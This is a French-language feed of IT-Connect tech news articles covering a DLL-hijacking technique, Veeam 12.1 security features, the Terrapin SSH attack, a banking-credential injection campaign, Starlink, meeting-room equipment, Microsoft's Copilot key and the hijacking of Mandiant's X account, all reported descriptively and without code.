<p>"<em>Surveillez de près toutes les activités effectuées par les binaires résidant dans le dossier WinSxS, en vous concentrant à la fois sur les communications réseau et les opérations sur les fichiers.</em>", recommandent les chercheurs de Security Joes.</p>



<p>Pour finir, voici une vidéo de démonstration :</p>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/3ZPucAA8lZQ" title="Hide and Seek in Windows&#39; Closet: Unmasking the WinSxS Hijacking Hideout \ by Thiago Peixoto" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p><a href="https://thehackernews.com/2024/01/new-variant-of-dll-search-order.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/execution-de-code-malveillant-windows-10-et-windows-11-trompes-par-cette-technique-de-dll-hijacking/">Exécution de code malveillant : Windows 10 et Windows 11 trompés par cette technique de DLL hijacking !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73985
title: Plus de sécurité dans Veeam Backup & Replication v12.1, pour lutter contre les cyberattaques !
uri: Plus-de-sécurité-dans-Veeam-Backup-Replication-v12-1-pour-lutter
url:
https://www.it-connect.fr/plus-de-securite-dans-veeam-backup-replication-v12-1-pour-lutter-contre-les-cyberattaques/

content:
<p><strong>Depuis le 5 décembre 2023, Veeam Backup &amp; Replication v12.1 est disponible ! Bien qu'il ne s'agisse pas d'une version majeure, cette mouture apporte tout de même des nouveautés très intéressantes en matière de sécurité. Faisons le point !</strong></p>



<p>Au premier trimestre 2023, l'éditeur Veeam avait dévoilé sa nouvelle version majeure de sa solution Backup &amp; Replication en sortant la v12. Une version au sein de laquelle il y a beaucoup de nouveautés, notamment en ce qui concerne la protection contre les cybermenaces. Par exemple, Veeam Backup &amp; Replication v12 permet de <strong>se passer de l'authentification NTLM au profit de Kerberos</strong>, d'utiliser des <strong><a href="https://www.it-connect.fr/active-directory-utilisation-des-gmsa-group-managed-service-accounts/" target="_blank" rel="noopener" title="Active Directory : utilisation des gMSA (group Managed Service Accounts)">comptes de services de type "gMSA"</a></strong> ou encore d'<strong>activer l'authentification MFA</strong> sur la console de gestion des sauvegardes.</p>



<p>Avec Veeam Backup &amp; Replication v12.1 disponible depuis début décembre 2023, l'éditeur veut aller encore plus loin pour améliorer la cyber résilience des entreprises face aux menaces, notamment les ransomwares. C'est une bonne chose, car les sauvegardes sont très fréquemment ciblées lors des cyberattaques.</p>



<h2 class="wp-block-heading">L'API Incident de Veeam</h2>



<p>Veeam Backup &amp; Replication v12.1 est capable d'envoyer ses journaux (logs) vers un serveur Syslog mais il est également capable d'<strong>interagir avec lui à partir d'une application tierce grâce à ce qui est appelé l'API Incident</strong>. </p>



<p>Autrement dit, <strong>Veeam s'ouvre aux solutions SIEM et c'est une très bonne nouvelle pour l'analyse et la détection des événements malveillants</strong>.</p>



<h2 class="wp-block-heading">Scans pour détecter les malwares</h2>



<p>Grâce à la fonctionnalité <strong>Inline Scan</strong>, Veeam Backup &amp; Replication est capable d'<strong>analyser les blocs de données pendant le processus de sauvegarde</strong> (au niveau du <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-serveurs-proxy-et-reverse-proxy-pour-les-debutants/" target="_blank" rel="noopener" title="proxy" data-wpil-keyword-link="linked">proxy</a>), dans le but de détecter la présence éventuelle d'un malware. </p>



<p>En tant qu'administrateur, vous pouvez ajuster le niveau de sensibilité de cette fonctionnalité qui s'appuie sur du <em>machine learning</em>. Il convient aussi de surveiller l'activité CPU du proxy Veeam car cette analyse nécessite des ressources supplémentaires.</p>



<p>Par ailleurs, <strong>Veeam peut analyser vos sauvegardes à la demande</strong>, c'est-à-dire que c'est l'administrateur qui déclenche une analyse. La solution est capable d'effectuer une analyse dans le but de vous indiquer <strong>quel est le premier point de sauvegarde clean (le plus récent) pour un serveur spécifique</strong>. L'avantage, c'est que cette fonction d'analyse intègre<strong> un moteur capable d'interpréter des règles YARA</strong> (ce qui est utile pour repérer un malware ou certains fichiers).</p>



<h2 class="wp-block-heading">Manipulation des backups : four-eyes authorization</h2>



<p>Au sein de la solution Veeam Backup &amp; Replication, un administrateur a les droits pour supprimer les sauvegardes : suite à une mauvaise manipulation, des sauvegardes peuvent partir en fumée. Même si certaines sauvegardes sont protégées, notamment lorsqu'elles sont immuables (j'en avais parlé dans <a href="https://www.it-connect.fr/leviia-sauvegardes-immuables-externalisees-france-avec-veeam/" target="_blank" rel="noopener" title="Avec Leviia, stockez en France vos sauvegardes immuables de Veeam Backup &amp; Replication">cet article</a>), la version 12.1 de la solution Veeam veut aller plus loin avec l'intégration de ce que l'on appelle le "<em>four-eyes authorization</em>". Cela signifie qu'il faut l'<strong>approbation de deux administrateurs pour initier la suppression d'une sauvegarde</strong>.</p>



<p>Ceci s'applique également pour d'autres opérations sensibles effectuées au sein de la console Veeam (modification sur les rôles ou utilisateurs, suppression d'un repository, etc.).</p>



<h2 class="wp-block-heading">Mais aussi...</h2>



<p>Par ailleurs, sachez qu'une fonction baptisée <strong>Threat Center </strong>contiendra des indicateurs sur l'état de santé et la résilience de l'infrastructure de sauvegarde. Veeam a également ajouté des points de vérification supplémentaires à son outil d'analyse de la conformité des machines. </p>



<p>Pour <strong>en savoir plus sur toutes les nouveautés de cette version</strong>, vous pouvez <a href="media/34b4b1d6.veeam_backup_12_1_whats_new_wn.pdf" data-original-source="https://www.veeam.com/veeam_backup_12_1_whats_new_wn.pdf" target="_blank" rel="noopener nofollow" title="">consulter ce document PDF</a>.</p>



<p>Ajouter des fonctionnalités pour mieux protéger les sauvegardes et détecter les comportements suspects, c'est clairement la tendance actuelle sur le marché des solutions de sauvegarde. Sans surprise, Veeam "<em>suit le mouvement</em>" en améliorant sa solution Backup &amp; Replication.</p><p>The post <a href="https://www.it-connect.fr/plus-de-securite-dans-veeam-backup-replication-v12-1-pour-lutter-contre-les-cyberattaques/">Plus de sécurité dans Veeam Backup & Replication v12.1, pour lutter contre les cyberattaques !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74065
title: Attaque Terrapin : près de 11 millions de serveurs SSH vulnérables !
uri: Attaque-Terrapin-près-de-11-millions-de-serveurs-SSH-vulnérables
url: https://www.it-connect.fr/attaque-terrapin-pres-de-11-millions-de-serveurs-ssh-vulnerables/
content:
<p><strong>Les vulnérabilités associées à l'attaque Terrapin, dévoilée quelques jours avant Noël 2023, affectent les accès SSH de près de 11 millions de serveurs ! Faisons le point sur la situation !</strong></p>



<p>Pour rappel, l'attaque technique d'attaque<strong> Terrapin</strong> a été mise au point et dévoilée par les chercheurs en sécurité de l'Université de la Ruhr à Bochum (Allemagne). Elle permet d'altérer l'intégrité des connexions SSH en exploitant plusieurs faiblesses présentes dans OpenSSH et associées à<strong> trois références CVE </strong>: CVE-2023-48795, CVE-2023-46445 et CVE-2023-46446.</p>



<p>Au-delà d'utiliser <strong>une version vulnérable d'OpenSSH</strong> (c'est-à-dire toutes les versions d'OpenSSH antérieures à la version 9.6),<strong> l'attaquant doit se trouver en position de <em>man-in-the-middle</em></strong> (MiTM) par rapport à sa cible, pour que l'attaque puisse être effectuée.  Autre condition pour que l'attaque soit possible : la connexion doit être sécurisée avec ChaCha20-Poly1305 ou CBC avec "<em>Encrypt-then-MAC</em>". Si toutes ces conditions sont réunies, l'attaque Terrapin peut permettre d'exécuter du code à distance.</p>



<ul>
<li><a href="https://www.it-connect.fr/lattaque-terrapin-exploite-plusieurs-vulnerabilites-dans-ssh-un-correctif-est-disponible/" target="_blank" rel="noopener" title="">L'attaque Terrapin exploite plusieurs vulnérabilités dans SSH ! Un correctif est disponible !</a></li>
</ul>



<h2 class="wp-block-heading">Près de 11 millions de serveurs SSH vulnérables...</h2>



<p>Un <a href="https://www.linkedin.com/posts/the-shadowserver-foundation_terrapin-cybersecurity-vulnerabilitymanagement-activity-7148250424108601344-KTEb?utm_source=share&amp;utm_medium=member_desktop" target="_blank" rel="noopener nofollow" title="">nouveau post </a>mis en ligne par The Shadowserver Foundation fait état de<strong> près de 11 millions de serveurs SSH exposés sur Internet </strong>et vulnérables à l'attaque Terrapin ! Chaque serveur correspond à une adresse IP unique. C'est conséquent et cela représente<strong> environ 52 % de toutes les adresses IPv4 et IPv6 analysées </strong>par le système de monitoring de The Shadowserver Foundation.</p>



<p>Pour répondre à la question "<em>Où se situent les serveurs SSH vulnérables ?</em>", il suffit de regarder de plus près la carte publiée. Voici quelques chiffres clés :</p>



<ul>
<li>États-Unis : 3.3 millions</li>



<li>Chine : 1.3 million</li>



<li>Allemagne : 1 million</li>



<li>Russie : 704 000</li>



<li>Singapour : 392 000</li>



<li>Japan : 383 000</li>



<li><strong>France : 379 000</strong></li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="528" src="media/85475ddf.Serveurs-SSH-vulnerables-attaques-Terrapin.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveurs-SSH-vulnerables-attaques-Terrapin.jpg" alt="Serveurs SSH vulnérables attaques Terrapin" class="wp-image-74067" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveurs-SSH-vulnerables-attaques-Terrapin.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveurs-SSH-vulnerables-attaques-Terrapin-550x363.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveurs-SSH-vulnerables-attaques-Terrapin-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveurs-SSH-vulnerables-attaques-Terrapin-768x507.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveurs-SSH-vulnerables-attaques-Terrapin-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : dashboard.shadowserver.org</figcaption></figure>



<p>Même si ces serveurs ne sont pas directement exploitables compte tenu des prérequis de l'attaque Terrapin, cela laisse quand même beaucoup de possibilités aux cybercriminels...</p>



<p>En complément de leur rapport, les chercheurs en sécurité ont mis en ligne <strong>un outil à disposition des utilisateurs de Linux, Windows et macOS </strong>afin d'analyser leur système et <strong>vérifier si leur système est vulnérable à l'attaque Terrapin</strong>. L'outil est accessible sur ce <a href="https://github.com/RUB-NDS/Terrapin-Scanner" target="_blank" rel="noreferrer noopener">dépôt GitHub</a>.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/nearly-11-million-ssh-servers-vulnerable-to-new-terrapin-attacks/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/attaque-terrapin-pres-de-11-millions-de-serveurs-ssh-vulnerables/">Attaque Terrapin : près de 11 millions de serveurs SSH vulnérables !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74048
uri: Ce-code-JavaScript-malveillant-a-permis-de-voler-les-identifiants-banc
title:
Ce code JavaScript malveillant a permis de voler les identifiants bancaires de 50 000 utilisateurs !

url:
https://www.it-connect.fr/ce-code-javascript-malveillant-a-permis-de-voler-les-identifiants-bancaires-de-50-000-utilisateurs/

content:
<p><strong>Une campagne malveillante lancée en 2023 a permis aux cybercriminels de voler les identifiants de connexion bancaires de 50 000 utilisateurs répertoriés dans plus de 40 banques différentes. Redoutable, ce malware s'appuie sur un script JavaScript pour dérober également les codes à usage unique des utilisateurs ! Faisons le point !</strong></p>



<p>Les chercheurs en sécurité d'IBM Security Trusteer ont découvert <strong>une campagne malveillante redoutable lancée en mars 2023 et qui serait toujours en cours</strong>. Le nombre de victimes est important puisque 50 000 clients de plus de 40 banques ont fait les frais de cette technique redoutable. Ceci touche <strong>des utilisateurs du monde entier</strong> puisque l'on dénombre des victimes en Amérique du Nord, en Amérique du Sud, en Europe et au Japon. Bien que ce ne soit pas confirmé, cette campagne malveillante pourrait être liée au malware DanaBot.</p>



<p>Bien qu'elle a été lancée début 2023, <strong>cette campagne malveillante était en préparation depuis 2022</strong> : "<em>Nos données montrent que les acteurs de la menace ont acheté des domaines malveillants en décembre 2022 et ont commencé à exécuter leurs campagnes peu de temps après. Depuis le début de l'année 2023, nous avons observé plusieurs sessions de communication avec ces domaines, qui restent actifs au moment de la publication de ce blog.</em>", peut-on lire dans le <a href="https://securityintelligence.com/posts/web-injections-back-on-rise-banks-affected-danabot-malware/" target="_blank" rel="noopener nofollow" title="">rapport mis en ligne le 19 décembre 2023</a>.</p>



<h2 class="wp-block-heading">Un code JavaScript pour voler les identifiants</h2>



<p>Tout commence par<strong> l'infection de la machine de l'utilisateur</strong>, que ce soit via un e-mail malveillant (phishing) ou une autre méthode. Une fois la machine infectée, il ne reste plus qu'à <strong>attendre que l'utilisateur se connecte au site web de sa banque.</strong> Quand ce sera le cas, le malware va faire en sorte d'<strong>injecter du code JavaScript malveillant sur la page de connexion au site bancaire</strong>. </p>



<p>Ce code n'est pas "compatible" avec toutes les banques, car cela dépend du processus de connexion et de la structure de la page. Toutefois, il est redoutable car il est capable de <strong>modifier la structure de la page</strong> et de l'adapter de manière à guider et piéger l'utilisateur.</p>



<p>Ce fameux code malveillant injecté directement dans la page web est difficile à détecter et il<strong> intercepte les informations d'identification de la victime en temps réel</strong>, au fur et à mesure qu'elles sont saisies ! Il est également capable de<strong> voler les codes de connexion à usage unique </strong>utilisés dans le cadre de l'authentification multifacteurs. L'objectif étant de permettre aux cybercriminels de pouvoir se connecter rapidement aux comptes bancaires de l'utilisateur pour lui voler de l'argent !</p>



<p>Ce malware communique avec un serveur C2 distant pour envoyer les données collectées et il est capable de <strong>s'auto-supprimer de la page de connexion une fois qu'il a fait son travail</strong>. Cela ne s'arrête pas là, car pour <strong>dissuader l'utilisateur de tenter de se connecter à son compte bancaire</strong>, la page web est modifiée de manière à <strong>indiquer que les services bancaires sont indisponibles pendant 12 heures</strong>. "<em>Cette tactique vise à décourager la victime de tenter d'accéder à son compte, ce qui permet à l'acteur malveillant de mener des actions ininterrompues.</em>", précise Tal Langus dans son rapport.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="512" src="media/e6a1403d.Attaque-malware-man-in-the-browser-Vol-bancaire.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-malware-man-in-the-browser-Vol-bancaire.jpg" alt="" class="wp-image-74051" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-malware-man-in-the-browser-Vol-bancaire.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-malware-man-in-the-browser-Vol-bancaire-550x352.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-malware-man-in-the-browser-Vol-bancaire-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-malware-man-in-the-browser-Vol-bancaire-768x492.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-malware-man-in-the-browser-Vol-bancaire-50x32.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : securityintelligence.com</figcaption></figure>



<p>Comme le montre le nombre de victimes, <strong>cette attaque de type "man-in-the-browser" est particulièrement redoutable</strong> ! Méfiez-vous des e-mails que vous recevez et de ce que vous téléchargez sur Internet...</p>



<p><a href="https://www.theregister.com/2023/12/20/credentialstealing_malware_infects_50k_banking/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/ce-code-javascript-malveillant-a-permis-de-voler-les-identifiants-bancaires-de-50-000-utilisateurs/">Ce code JavaScript malveillant a permis de voler les identifiants bancaires de 50 000 utilisateurs !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74075
title: Starlink lance de nouveaux satellites pour offrir une connexion sur smartphone !
uri: Starlink-lance-de-nouveaux-satellites-pour-offrir-une-connexion-sur-sm
url:
https://www.it-connect.fr/starlink-lance-de-nouveaux-satellites-pour-offrir-une-connexion-sur-smartphone/

content:
<p><strong>Starlink poursuit son développement avec un nouveau service baptisé "Direct To Cell" ! L'objectif : offrir une connexion aux smartphones directement à partir des satellites Starlink. Voici ce qu'il faut savoir !</strong></p>



<p>En quelques années, Starlink s'est imposé comme le leader de l'Internet par satellites en parvenant à offrir de l'Internet haut débit presque partout sur Terre. Elon Musk, le patron de Starlink, a précisé sur son réseau social X que <strong>Direct To Cell allait permettre une connectivité par téléphone mobile partout sur la Terre</strong>. </p>



<p>Pour commencer, Starlink va mettre à l'essai ce nouveau service aux États-Unis et l'entreprise américaine vient tout juste d'<strong>envoyer 6 nouveaux satellites </strong>dans l'espace dédié à "Direct To Cell". <strong>En 2024</strong>, il sera possible d'<strong>envoyer uniquement des SMS</strong> au travers de cette solution, et Starlink va l'étendre à d'autres pays du monde. Elon Musk veut prendre son temps. </p>



<p><strong>À partir de 2025</strong>, de nouvelles fonctionnalités seront prises en charge par le service Direct To Cell : <strong>les appels vocaux ainsi que les données Internet, ce qui permettra d'avoir une expérience complète.</strong> En effet, cela signifie que nous pourrons accéder à Internet à partir de notre smartphone grâce à la connexion offerte par les satellites Starlink. </p>



<p>Il est à noter que <strong>le réseau mobile Starlink opérera sur le réseau 4G</strong>, ce qui ne permettra pas de rivaliser avec les performances des réseaux actuels en 5G. "<em>Bien qu'il s'agisse d'une excellente solution pour les endroits dépourvus de connectivité cellulaire, elle n'est pas vraiment compétitive par rapport aux réseaux cellulaires terrestres existants</em>.", précise Elon Musk.</p>



<p>Ce n'est pas si grave, car la connectivité 4G offre déjà de belles performances... Et cette solution s'annonce très intéressante pour <strong>offrir une connectivité mobile sur les territoires mal couverts par les solutions terrestres</strong> ! L'arrivée du service Direct To Cell de Starlink va forcément ravir certaines personnes !</p>



<p>Qu'en pensez-vous ?</p>



<p><a href="https://www.clubic.com/actualite-514141-starlink-spacex-lance-des-satellites-qui-offriront-une-connexion-sur-smartphone.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/starlink-lance-de-nouveaux-satellites-pour-offrir-une-connexion-sur-smartphone/">Starlink lance de nouveaux satellites pour offrir une connexion sur smartphone !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74082
title: Comment organiser et équiper une salle de réunion ?
uri: Comment-organiser-et-équiper-une-salle-de-réunion
url: https://www.it-connect.fr/comment-organiser-et-equiper-une-salle-de-reunion/
content:
<p>Une grande partie des entreprises ont besoin d’un espace de réunion. Que l’on aménage une salle de réunion dans ses propres locaux ou que l’on utilise une salle de réunion dans un espace de coworking, l’aménagement et l’équipement d’un tel espace répond à certains impératifs que nous allons évoquer dans cet article.&nbsp;</p>



<h2 class="wp-block-heading">L’importance du mobilier&nbsp;</h2>



<p>Le choix du mobilier doit être en adéquation avec la surface et la capacité d’accueil de la salle, mais aussi avec l’image de l’entreprise. Par exemple, le fait de faire le choix d’une table ronde ou ovale pour ne jamais laisser un collaborateur dans un coin, ou le fait de faire le choix d’une table rectangulaire très design pour mettre en avant la rigueur et la précision du travail dans certains secteurs d’activité. Dans les secteurs d’activité où l’on veut <strong>mettre en avant la performance et la modernité</strong>, on optera pour du mobilier très design alors que l’on se permettra davantage d’originalité dans les milieux créatifs. La décoration va aussi avoir une influence, notamment au niveau du choix des couleurs qui peuvent véhiculer une image de confiance pour le bleu, de créativité et de dynamisme pour l’orange et le jaune, d’écoresponsabilité pour le vert. Souvent, la décoration de la salle de la réunion doit être le reflet de l’image de l’entreprise en s’accordant notamment à la charte graphique.</p>



<h2 class="wp-block-heading">Optez pour des équipements high tech</h2>



<p>Le choix des équipements high tech doit permettre de rendre les présentations plus intéressantes lors des réunions. Les grandes salles de réunion doivent par exemple être dotées de micros pour faciliter la compréhension et la présentation. Aujourd’hui, pour animer une réunion ou une formation dans un espace collectif, on ne peut plus se contenter d’un simple paperboard, ni même d’un écran classique sur lequel on envoie des supports de présentation. Aujourd’hui, les fabricants d’équipements de bureau high tech proposent des écrans LED tactiles qui permettent d’alterner les présentations en image, en vidéo, de jongler avec le contenu en touchant l’écran et surtout d’avoir la possibilité de se servir d’une fonction de <strong>tableau blanc tactile et interactif</strong>. Ces écrans permettent aussi d’assurer des réunions en visio et de partager les notes du tableau blanc avec ses interlocuteurs et surtout de partager le tableau blanc. Vous trouverez des modèles d’écrans tactiles interactifs <a href="https://www.id2son.fr/nos-offres/ecran-interactif/">si vous cliquez ici</a>. Bien plus pratiques qu’un vidéoprojecteur, ces écrans sont beaucoup plus faciles à installer et à connecter puisqu’ils sont aussi connectés en WiFi et en Bluetooth. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="533" src="media/115dcc01.Exemple-ecran-interactif.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Exemple-ecran-interactif.jpg" alt="" class="wp-image-74084" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Exemple-ecran-interactif.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Exemple-ecran-interactif-550x366.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Exemple-ecran-interactif-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Exemple-ecran-interactif-768x512.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Exemple-ecran-interactif-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Aperçu écran interactif Newline</figcaption></figure>



<h2 class="wp-block-heading">Optez pour un espace modulable</h2>



<p>Aujourd’hui, <a href="https://www.it-connect.fr/developpement-durable-et-technologie-est-ce-compatible/">pour des raisons d’économies et d’écologie</a>, il est indispensable de travailler sur des espaces plus réduits. Cela permet d’une part de moins gaspiller de l’énergie, de réduire le montant de son loyer (quand on loue un espace professionnel) et de faire des économies sur ses factures d’énergie. Les plus créatifs conçoivent des espaces modulables, c’est-à-dire des espaces où l’on peut passer d’un atelier à un showroom, d’un espace de bureaux individuels à une salle de réunion. De plus en plus de fabricants de mobilier surfent sur la tendance pour concevoir du mobilier modulable, encastrable et escamotable à l’usage des professionnels qui disposent d’une petite surface de travail. </p>



<p><em>Article sponsorisé.</em></p><p>The post <a href="https://www.it-connect.fr/comment-organiser-et-equiper-une-salle-de-reunion/">Comment organiser et équiper une salle de réunion ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74099
title: Le clavier des PC Windows va accueillir une nouvelle touche pour Copilot !
uri: Le-clavier-des-PC-Windows-va-accueillir-une-nouvelle-touche-pour-Copil
url: https://www.it-connect.fr/le-clavier-des-pc-windows-va-accueillir-une-nouvelle-touche-pour-copilot/
content:
<p><strong>Microsoft a fait une annonce très importante qui va bien au-delà de la modification du système d'exploitation : une nouvelle touche permettant d'accéder à l'IA Microsoft Copilot va faire son apparition sur les claviers des ordinateurs !</strong></p>



<p>Depuis plusieurs mois, Microsoft Copilot est disponible pour les utilisateurs de Windows 11, mais aussi de Windows 10 (grâce à la mise à jour <a href="https://www.it-connect.fr/la-mise-a-jour-kb5032278-pour-windows-10-ajoute-microsoft-copilot/" target="_blank" rel="noopener" title="">KB5032278</a> publiée début décembre). Même si, au passage, les utilisateurs européens n'ont toujours pas accès à cet assistant boosté par de l'intelligence artificielle... Ce qui n'empêche pas Microsoft d'avancer !</p>



<p>Alors qu'il y a déjà un <strong>nouveau raccourci clavier permettant d'ouvrir Microsoft Copilot (Win + C)</strong>, l'entreprise américaine veut aller encore plus loin en ajoutant <strong>une nouvelle touche sur nos claviers </strong>! Vous l'aurez compris, il suffira d'appuyer sur cette touche pour accéder à Copilot.</p>



<p>À ce sujet, Microsoft précise :<em> "L’introduction de la touche Copilot marque le premier changement significatif apporté au clavier des PC Windows depuis près de trois décennies. Nous pensons que cela permettra aux gens de participer plus facilement à la transformation de l’IA."</em> - En effet, modifier la disposition d'un clavier ce n'est pas anodin et cela va obliger les utilisateurs à s'adapter...</p>



<h2 class="wp-block-heading">Où sera située la touche de clavier Copilot ?</h2>



<p>Dans une nouvelle vidéo publiée par Microsoft, nous pouvons voir que<strong> la touche Copilot se situe entre la touche Alt et les flèches directionnelles</strong>. Donc, elle ne sera pas juste à côté de la touche Windows, même si cela pourra varier d'une marque à l'autre et d'un modèle à l'autre. <strong>Ce changement sera introduit sur le clavier des ordinateurs commercialisés avec Windows 11.</strong></p>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/S1R08Qx6Fvs" title="Introducing a new Copilot key for Windows 11 PCs" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>En plus d'avoir une touche de clavier rien que pour lui, il est important de rappeler que <strong>Microsoft Copilot est accessible depuis Windows 10, Windows 11, mais aussi sur Android et iOS</strong> avec une application officielle proposée par la firme de Redmond.</p>



<p><em>De quoi rentrer définitivement dans l'ère des "AI PC"...</em></p>



<p><a href="https://www.presse-citron.net/une-nouvelle-touche-debarque-sur-les-claviers-de-pc-a-quoi-sert-elle/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-clavier-des-pc-windows-va-accueillir-une-nouvelle-touche-pour-copilot/">Le clavier des PC Windows va accueillir une nouvelle touche pour Copilot !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74139
title: Le compte X (Twitter) de Mandiant a été piraté et utilisé pour une arnaque à la cryptomonnaie !
uri: Le-compte-X-(Twitter)-de-Mandiant-a-été-piraté-et-utilisé-pour-une
url:
https://www.it-connect.fr/le-compte-x-twitter-de-mandiant-a-ete-pirate-et-utilise-pour-une-arnaque-a-la-cryptomonnaie/

content:
<p><strong>Le compte X (Twitter) de l'entreprise Mandiant a été piraté puis détourné par des cybercriminels qui l'ont utilisé pour usurper l'identité du service Phantom permettant d'avoir un portefeuille de cryptomonnaies. Voici ce qu'il s'est passé !</strong></p>



<p>Connue dans le monde entier, Mandiant est une <strong>entreprise spécialisée dans la cybersécurité</strong> qui appartient à Google et dont le compte Twitter compte<strong> plus de 124 000 abonnés</strong> ! Le 3 janvier 2024, des pirates sont parvenus à accéder au compte X de Mandiant, probablement en ayant connaissance du mot de passe pour accéder au compte, et ils l'ont ensuite renommé : "@mandiant" est devenu "@phantomsolw".</p>



<p>L'objectif étant de faire la promotion d'<strong>un faux site web usurpant l'identité du service Phantom</strong> tout en promettant de <strong>distribuer gratuitement des jetons $PHNTM</strong> dans le cadre d'un <em>airdrop</em>. Ce qui a probablement attiré l'attention des utilisateurs du service et a obligé le compte officiel du service Phantom a rappeler ce qui suit aux utilisateurs via un tweet : "<em>Rappel : Phantom n'a PAS l'intention de lancer un jeton. Tout ce qui dit le contraire est une escroquerie. Soyez prudents !</em>"</p>



<p>Grâce à ce lien et ce faux site web, les cybercriminels n'avaient qu'une seule idée en tête : <strong>vider le portefeuille de cryptomonnaie d'un maximum d'utilisateurs de Phantom</strong>. Rapidement, Phantom a protégé les utilisateurs de Phantom Wallet en blacklistant le site web utilisé par les cybercriminels afin d'empêcher les interactions avec le domaine en question.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="558" src="media/174154b3.Compte-Twitter-Mandiant-pirate-janvier-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024.jpg" alt="" class="wp-image-74141" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024-550x384.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024-150x105.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024-768x536.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024-392x272.jpg 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Compte-Twitter-Mandiant-pirate-janvier-2024-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : MalwareHunterTeam</figcaption></figure>



<p>Ce qui a poussé les cybercriminels à supprimer leur tweet de distribution de jetons Phantom. À la place,<strong> ils se sont amusés à narguer l'équipe de Mandiant avec plusieurs messages</strong> : "<em>Désolé, veuillez changer de mot de passe.</em>" ou encore "<em>Vérifiez les signets lorsque vous récupérez votre compte.</em>"</p>



<p>À l'heure qu'il est, <strong>Mandiant a pu récupérer l'accès à son compte X (Twitter) dans le but de le sécuriser et de le restaurer / nettoyer</strong>. Désormais, le pseudo "@mandiant" est de retour, mais dans un premier temps le nom "@phantomsolw" a dû être conservé, car Twitter n'autorise pas les changements trop fréquents du nom d'utilisateur.</p>



